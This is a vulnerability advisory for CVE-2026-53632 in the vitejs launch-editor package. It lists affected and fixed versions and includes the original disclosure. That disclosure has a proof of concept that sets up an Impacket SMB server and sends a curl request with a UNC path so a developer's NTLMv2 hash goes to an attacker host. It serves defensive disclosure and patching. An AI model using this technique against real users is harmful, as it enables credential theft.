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VulnerabilityPublished

CVE-2026-53632: vitejs launch-editor · External Control of File Name or Path

Affects vitejs launch-editorSource CVE Database V5

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Not known to be exploited · CVSS 5.5 Medium : upgrade to 2.14.1 when convenient.

Data as of 5 Nov 2026, 00:01 UTC

CVSS 4.0 base score
5.5Medium
How severe the flaw is on the 0–10 CVSS scale.
EPSS
0.4% chance of exploitation in 30 days – higher than 35% of CVEsExploit Prediction Scoring System: the likelihood attackers will use this flaw soon.
Patch
Available – fixed in 2.14.1, 8.0.16, 7.3.5 +2
CVSS:4.0/AV:N/AC:H/AT:N/PR:N/UI:A/VC:N/VI:N/VA:N/SC:H/SI:H/SA:H

Exploitation evidence

  1. Disclosed: evidence found.

    CVE published 22 Jun 2026

  2. Detectable: no evidence on record.

    No public nuclei template indexed

  3. Weaponized: no evidence on record.

    No public exploit code indexed in Metasploit or Exploit-DB

  4. Exploited in the wild: no evidence on record.

    Not in CISA KEV and no source reports exploitation

  5. Observed by OffSeq Mirage: no evidence on record.

    No attack traffic recorded by OffSeq Mirage sensors

A missing step is not evidence of safety. Sources: cve.org (opens in a new tab), the Metasploit, Exploit-DB and nuclei-templates index as of 5 Nov 2026.

What to do

Upgrade launch-editor to 2.14.1; vite to 8.0.16, 7.3.5 or 6.4.3; vite-plus to 0.1.24.

Affected software

ProductAffectedFixed in
vitejslaunch-editorAffected
  • <2.14.1
Fixed in
  • 2.14.1
vitejsviteAffected
  • >=8.0.0 <8.0.16
Fixed in
  • 8.0.16
vitejsviteAffected
  • >=7.0.0 <7.3.5
Fixed in
  • 7.3.5
vitejsviteAffected
  • <6.4.3
Fixed in
  • 6.4.3
vitejsvite-plusAffected
  • <0.1.24
Fixed in
  • 0.1.24
npmlaunch-editorpkg:npm/launch-editorOther threatsAffected
  • <2.14.1
Fixed in
  • 2.14.1

Check your own hosts for these packages with threat-finder (opens in a new tab), our free open-source scanner.

AI-suggested

This vulnerability is fixed in launch-editor version 2.14.1. Users and organizations should upgrade to version 2.14.1 or later to remediate this issue. No official remediation level or temporary fix is provided beyond upgrading. Patch status is confirmed by the vendor stating the fix is in 2.14.1. Until upgraded, avoid opening UNC paths via launch-editor to prevent NTLM hash leakage.

Description

### Summary The `launch-editor` NPM package accesses arbitrary paths including Windows UNC paths. When a UNC path is opened, Windows automatically attempts NTLM authentication to the remote host, causing the user’s NTLMv2 password hash to be leaked to an attacker-controlled SMB server. This can result in credential compromise through offline hash cracking. ### Impact If the following conditions are met, an attacker can get the NTLMv2 password hash on the computer that is using the `launch-editor`: - using Windows - NTLM is not disabled ([it is recommended to disable](https://techcommunity.microsoft.com/blog/windows-itpro-blog/advancing-windows-security-disabling-ntlm-by-default/4489526), while it's still enabled by default) - the user accesses the attackers website that sends request to a middleware using `launch-editor` - the server that has the middleware using `launch-editor` is running - the attacker knows the URL for that server and the middleware This would be a problem if the user password is too simple that it can be identified through offline hash cracking, potentially leading to further compromise of developer accounts or internal systems. ### Details `launch-editor` accepts file paths without validating or restricting Windows UNC paths such as: ``` \\attacker-host\share ``` On Windows systems, accessing a UNC path triggers an automatic NTLM authentication attempt to the remote SMB server. No user interaction or warning is required for this authentication attempt to occur. If an attacker controls the SMB server referenced by the UNC path the victim’s NTLMv2 hash is transmitted to the attacker. The attacker can then capture the hash and perform offline password cracking. Successful cracking reveals the victim’s cleartext password. The attacker could target a developer that uses a development server using `launch-editor` to develop code locally, send them a link and grab their NTLMv2 hash. ### PoC From the attacker side, we will setup an SMB server. I personally used [Impacket's smbserver.py](https://github.com/fortra/impacket/blob/master/examples/smbserver.py), but you could use something like [Responder](https://github.com/lgandx/Responder) for this as well. For keeping it simple, we will use `smbserver.py` here. First, let's create a directory to serve as an SMB share. ``` mkdir /tmp/data echo "Hello world" > /tmp/data/test.txt ``` Then, start the SMB server. ``` $ sudo smbserver.py -smb2support -debug share /tmp/data ``` Now, run any project that uses the launch-editor package. I have setup a simple "Hello world" project that uses Vite to do this. Then run the project locally (`vite`). Now last, we will open a browser window and navigate to the URL used by the launch-editor package to trigger the NTLM authentication. Or we can use `curl` to achieve the same. ``` curl 'http://localhost:5173/__open-in-editor?file=%5c%5c127.0.0.1%5cshare%5ctest.txt' ``` Note the IP address in the HTTP request, and make sure it connects to the IP address of the SMB server. Now we can look at the logs of `smbserver.py` and see the NTLMv2 hash coming in. <img width="1916" height="277" alt="2026-01-30_10-58" src="https://github.com/user-attachments/assets/2f606e8f-c9bb-41dc-b507-ea6606b53368" />

References

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